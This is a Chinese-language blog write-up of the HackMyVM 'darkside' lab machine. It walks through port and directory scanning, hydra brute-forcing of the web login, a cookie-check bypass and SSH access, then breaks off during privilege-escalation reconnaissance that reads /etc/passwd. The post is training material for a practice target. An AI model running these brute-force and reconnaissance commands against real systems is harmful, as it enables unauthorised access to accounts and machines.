{"id":509,"date":"2024-04-06T14:22:31","date_gmt":"2024-04-06T06:22:31","guid":{"rendered":"http:\/\/162.14.82.114\/?p=509"},"modified":"2024-04-06T14:22:31","modified_gmt":"2024-04-06T06:22:31","slug":"hmv-_-darkside","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/509\/04\/06\/2024\/","title":{"rendered":"hmv[-_-]darkside"},"content":{"rendered":"<h1>darkside<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421485.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421485.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406131827476\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u4fe1\u606f\u641c\u96c6<\/h2>\n<h3>\u7aef\u53e3\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">nmap -sCV -p 1-65535 172.20.10.3<\/code><\/pre>\n<pre><code class=\"language-css\">PORT   STATE SERVICE VERSION\n22\/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)\n| ssh-hostkey: \n|   3072 e0:25:46:8e:b8:bb:ba:69:69:1b:a7:4d:28:34:04:dd (RSA)\n|   256 60:12:04:69:5e:c4:a1:42:2d:2b:51:8a:57:fe:a8:8a (ECDSA)\n|_  256 84:bb:60:b7:79:5d:09:9c:dd:24:23:a3:f2:65:89:3f (ED25519)\n80\/tcp open  http    Apache httpd 2.4.56 ((Debian))\n| http-cookie-flags: \n|   \/: \n|     PHPSESSID: \n|_      httponly flag not set\n|_http-title: The DarkSide\n|_http-server-header: Apache\/2.4.56 (Debian)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n<h3>\u76ee\u5f55\u626b\u63cf<\/h3>\n<pre><code class=\"language-bash\">sudo dirsearch -u http:\/\/172.20.10.3 -e* -i 200,300-399 -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt 2&gt;\/dev\/null<\/code><\/pre>\n<pre><code class=\"language-css\">[01:20:01] 301 -  311B  - \/backup  -&gt;  http:\/\/172.20.10.3\/backup\/<\/code><\/pre>\n<h2>\u6f0f\u6d1e\u6316\u6398<\/h2>\n<h3>\u8e29\u70b9<\/h3>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421487.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421487.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406132156158\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u67e5\u770b\u654f\u611f\u76ee\u5f55<\/h3>\n<pre><code class=\"language-apl\">\/backup<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421488.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421488.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406132305037\" style=\"zoom:33%;\" \/><\/div><\/p>\n<pre><code class=\"language-text\"># vote.txt\nrijaba: Yes\nxerosec: Yes\nsml: No\ncromiphi: No\ngatogamer: No\nchema: Yes\ntalleyrand: No\nd3b0o: Yes\n\nSince the result was a draw, we will let you enter the darkside, or at least temporarily, good luck kevin.<\/code><\/pre>\n<p>\u731c\u6d4b\u7528\u6237\u540d\u4e3a<code>kevin<\/code>\uff0c\u7ee7\u7eed\uff0c\u8fd4\u56de\u67e5\u770b\u6e90\u4ee3\u7801\u7684\u65f6\u5019\u9875\u9762\u7a81\u7136\u88ab\u4fee\u6539\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421489.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421489.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406133058513\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h3>\u7206\u7834\u5bc6\u7801<\/h3>\n<p>\u5c1d\u8bd5\u5229\u7528<code>kevin<\/code>\u8fdb\u884c\u7206\u7834\u767b\u5f55\uff0c\u611f\u89c9\u5c31\u4e0d\u50cf\u662f\u4e07\u80fd\u5bc6\u7801\u6216\u8005\u5f31\u5bc6\u7801\uff0c\u6293\u4e2a\u5305\u770b\u4e00\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">POST \/ HTTP\/1.1\nHost: 172.20.10.3\nContent-Length: 24\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nOrigin: http:\/\/172.20.10.3\nContent-Type: application\/x-www-form-urlencoded\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/90.0.4430.212 Safari\/537.36\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9\nReferer: http:\/\/172.20.10.3\/\nAccept-Encoding: gzip, deflate\nAccept-Language: zh-CN,zh;q=0.9\nCookie: PHPSESSID=i7660lnqcnfv2lfc2nm8hmre0l\nConnection: close\n\nuser=admin&amp;pass=password<\/code><\/pre>\n<p>\u5c1d\u8bd5\u6784\u9020\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n<pre><code class=\"language-bash\">hydra -l kevin -P \/usr\/share\/wordlists\/rockyou.txt -f -vV -s 80 172.20.10.3 http-post-form &quot;\/:user=^USER^&amp;password=^PASS^:Username or password invalid&quot;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421490.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421490.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406134149178\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u5f97\u5230\u5bc6\u7801\uff0c\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n<pre><code class=\"language-apl\">kevin\n12345<\/code><\/pre>\n<p>\u4f46\u662f\u53d1\u751f\u4e86\u9519\u8bef\u3002\u3002\u6293\u5305\u770b\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421491.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421491.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406134403887\" style=\"zoom: 33%;\" \/><\/div><\/p>\n<p>\u53d1\u73b0\u4e86\u5417\uff0c\u5b83\u5199\u7684\u662f<code>Username or password invalid<\/code>\u3002\u3002\u3002\u3002\u6539\u4e00\u4e0b\uff0c\u91cd\u65b0\u7206\u7834\uff0c\u7a81\u7136\u53d1\u73b0\u4e0a\u9762\u5199\u9519\u4e86\uff0c\u7ea0\u6b63\u4e00\u4e0b\uff0c\u6211\u662f\u61a8\u6279\u3002\u3002\u3002\uff1a<\/p>\n<pre><code class=\"language-bash\">hydra -l kevin -P \/usr\/share\/wordlists\/rockyou.txt -f -vV -s 80 172.20.10.3 http-post-form &quot;\/:user=kevin&amp;pass=^PASS^:invalid&quot;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421492.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421492.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406134823335\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-apl\">kevin\niloveyou<\/code><\/pre>\n<p>\u518d\u6b21\u767b\u5f55\u4e00\u4e0b\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421493.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421493.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406134929451\" style=\"zoom:50%;\" \/><\/div><\/p>\n<pre><code class=\"language-apl\">kgr6F1pR4VLAZoFnvRSX1t4GAEqbbph6yYs3ZJw1tXjxZyWCC<\/code><\/pre>\n<h3>decrypto<\/h3>\n<p>\u5c1d\u8bd5\u89e3\u5bc6\u4e00\u4e0b\uff1a<\/p>\n<ul>\n<li>\u5b57\u6bcd\u8d85\u8fc7\u4e86f\u8bf4\u660e\u4e0d\u662fmd5\u52a0\u5bc6\u3002<\/li>\n<li>\u6ca1\u6709\u7b49\u53f7\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4e00\u4e0b<code>base58<\/code>\u3002<\/li>\n<li>\u5c1d\u8bd5<code>base64<\/code><\/li>\n<\/ul>\n<p>\u7136\u540e\u6211\u6dfb\u52a0<code>base64<\/code>\u7684\u65f6\u5019\u5fd8\u5173<code>base58<\/code>\u4e86\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421494.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421494.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406140053332\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u597d\u5bb6\u4f19\u3002\u3002\u3002\u3002\u8fd0\u6c14\u771f\u597d\uff01<\/p>\n<pre><code class=\"language-apl\">sfqekmgncutjhbypvxda.onion<\/code><\/pre>\n<h3>ssh\u8fde\u63a5<\/h3>\n<p>\u50cf\u662f\u4e00\u4e2aTor\u8282\u70b9\uff0c\u8bbf\u95ee\u4e00\u4e0b\uff1f<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421495.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421495.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406140409042\" \/><\/div><\/p>\n<p>\u6bdb\u90fd\u6ca1\u6709\uff0c\u5c1d\u8bd5\u8bbf\u95ee\u4e00\u4e0b\u672c\u5730\u76ee\u5f55\u76f8\u5173\u6587\u4ef6\uff0c\u56de\u5934\u770b\u7684\u65f6\u5019\uff0c\u53d1\u73b0\u5b83\u7684url\u602a\u602a\u7684\u3002\u3002\u3002<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421496.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421496.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406140459323\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u54c8\u54c8\u54c8\uff0c\u8fd9\u5c31\u662f\u4e0d\u4ed4\u7ec6\u5730\u540e\u679c\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421497.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421497.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406140552501\" style=\"zoom:33%;\" \/><\/div><\/p>\n<p>\u811a\u672c\u5982\u4e0b\uff1a<\/p>\n<pre><code class=\"language-bash\">var sideCookie = document.cookie.match(\/(^| )side=([^;]+)\/);\nif (sideCookie &amp;&amp; sideCookie[2] === &#039;darkside&#039;) {\nwindow.location.href = &#039;hwvhysntovtanj.password&#039;;\n}<\/code><\/pre>\n<ol>\n<li>\n<p><code>var sideCookie = document.cookie.match(\/(^| )side=([^;]+)\/);<\/code><\/p>\n<ul>\n<li>\n<p><code>document.cookie<\/code> \u83b7\u53d6\u5f53\u524d\u6587\u6863\u7684\u6240\u6709 cookies\u3002<\/p>\n<p><code>.match(\/(^| )side=([^;]+)\/)<\/code> \u4f7f\u7528\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u5339\u914d\u540d\u4e3a<code>side<\/code>\u7684 cookie\u3002<\/p>\n<ul>\n<li><code>^|<\/code> \u8868\u793a\u5339\u914d\u5b57\u7b26\u4e32\u7684\u5f00\u59cb\u6216\u7a7a\u683c\uff08\u8fd9\u662f\u4e3a\u4e86\u5904\u7406\u591a\u4e2a cookies \u4e4b\u95f4\u53ef\u80fd\u5b58\u5728\u7684\u7a7a\u683c\uff09\u3002<\/li>\n<li><code>side=<\/code> \u5339\u914d\u5b57\u7b26\u4e32 <code>side=<\/code>\u3002<\/li>\n<li><code>([^;]+)<\/code> \u5339\u914d <code>side=<\/code> \u4e4b\u540e\u76f4\u5230\u4e0b\u4e00\u4e2a\u5206\u53f7\uff08<code>;<\/code>\uff09\u4e4b\u524d\u7684\u6240\u6709\u5b57\u7b26\uff0c\u5e76\u5c06\u5176\u6355\u83b7\u4e3a\u4e00\u4e2a\u7ec4\uff08\u8fd9\u662f cookie \u7684\u503c\uff09\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><code>sideCookie<\/code> \u5c06\u5305\u542b\u5339\u914d\u7684\u7ed3\u679c\u3002\u5982\u679c\u6ca1\u6709\u5339\u914d\u9879\uff0c\u5b83\u5c06\u662f\u4e00\u4e2a <code>null<\/code> \u503c\u3002<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><code>if (sideCookie &amp;&amp; sideCookie[2] === &#039;darkside&#039;) {<\/code><\/p>\n<ul>\n<li><code>sideCookie<\/code> \u9996\u5148\u88ab\u68c0\u67e5\u662f\u5426\u4e3a\u771f\uff08\u5373\u4e0d\u662f <code>null<\/code> \u6216 <code>undefined<\/code>\uff09\u3002<\/li>\n<li>\u5982\u679c <code>sideCookie<\/code> \u5b58\u5728\uff0c\u5219\u68c0\u67e5\u5176\u7b2c\u4e09\u4e2a\u5143\u7d20\uff08JavaScript \u4e2d\u7684\u6570\u7ec4\u7d22\u5f15\u4ece 0 \u5f00\u59cb\uff0c\u6240\u4ee5 <code>sideCookie[2]<\/code> \u662f\u6b63\u5219\u8868\u8fbe\u5f0f\u4e2d\u7684\u7b2c\u4e8c\u4e2a\u6355\u83b7\u7ec4\uff0c\u5373 <code>side=<\/code> \u4e4b\u540e\u7684\u503c\uff09\u662f\u5426\u7b49\u4e8e <code>&#039;darkside&#039;<\/code>\u3002<\/li>\n<\/ul>\n<\/li>\n<li>\n<p><code>window.location.href = &#039;hwvhysntovtanj.password&#039;;<\/code><\/p>\n<ul>\n<li>\u5982\u679c\u4e0a\u8ff0\u6761\u4ef6\u90fd\u6ee1\u8db3\uff0c\u5219\u6267\u884c\u6b64\u884c\u4ee3\u7801\u3002<\/li>\n<li><code>window.location.href<\/code> \u8bbe\u7f6e\u4e86\u5f53\u524d\u7a97\u53e3\u7684 URL\uff0c\u8fd9\u4f1a\u5bfc\u81f4\u6d4f\u89c8\u5668\u5bfc\u822a\u5230\u65b0\u7684 URL\u3002<\/li>\n<li>\u5728\u8fd9\u91cc\uff0c\u9875\u9762\u88ab\u91cd\u5b9a\u5411\u5230 <code>&#039;hwvhysntovtanj.password&#039;<\/code>\u3002\u8fd9\u4e2a URL \u770b\u8d77\u6765\u50cf\u4e00\u4e2a\u4f2a\u9020\u7684\u6216\u6df7\u6dc6\u7684 URL\uff0c\u53ef\u80fd\u7528\u4e8e\u67d0\u79cd\u5b89\u5168\u6216\u6df7\u6dc6\u76ee\u7684\u3002<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>\u6211\u4eec\u914d\u7f6e\u4e00\u4e0b<code>cookie<\/code>\u503c\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421498.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421498.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406140933688\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u83b7\u53d6\u4e86\u5bc6\u94a5\uff1a<\/p>\n<pre><code class=\"language-apl\">kevin\nILoveCalisthenics<\/code><\/pre>\n<p>\u5c1d\u8bd5ssh\u767b\u5f55\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421499.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202404061421499.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20240406141140077\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>\u63d0\u6743<\/h2>\n<h3>\u4fe1\u606f\u641c\u96c6<\/h3>\n<pre><code class=\"language-bash\">(remote) kevin@darkside:\/home\/kevin$ sudo -l\n[sudo] password for kevin: \nSorry, try again.\n[sudo] password for kevin: \nSorry, user kevin may not run sudo on darkside.\n(remote) kevin@darkside:\/home\/kevin$ cat \/etc\/passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-network:x:101:102:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:102:103:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:103:109::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:104:110:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\navahi-autoipd:x:105:113:Avahi autoip daemon,,,:\/var\/lib\/avahi-autoipd:\/usr\/sbin\/nologin\nsshd:x:106:65534::\/run\/sshd:\/usr\/sbin\/nologin\nkevin:x:1000:1000:kevin,,,:\/home\/kevin:\/bin\/bash\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\nrijaba:x:1001:1001:,,,:\/home\/rijaba:\/bin\/bash\n(remote) kevin@darkside:\/home\/kevin$ cat 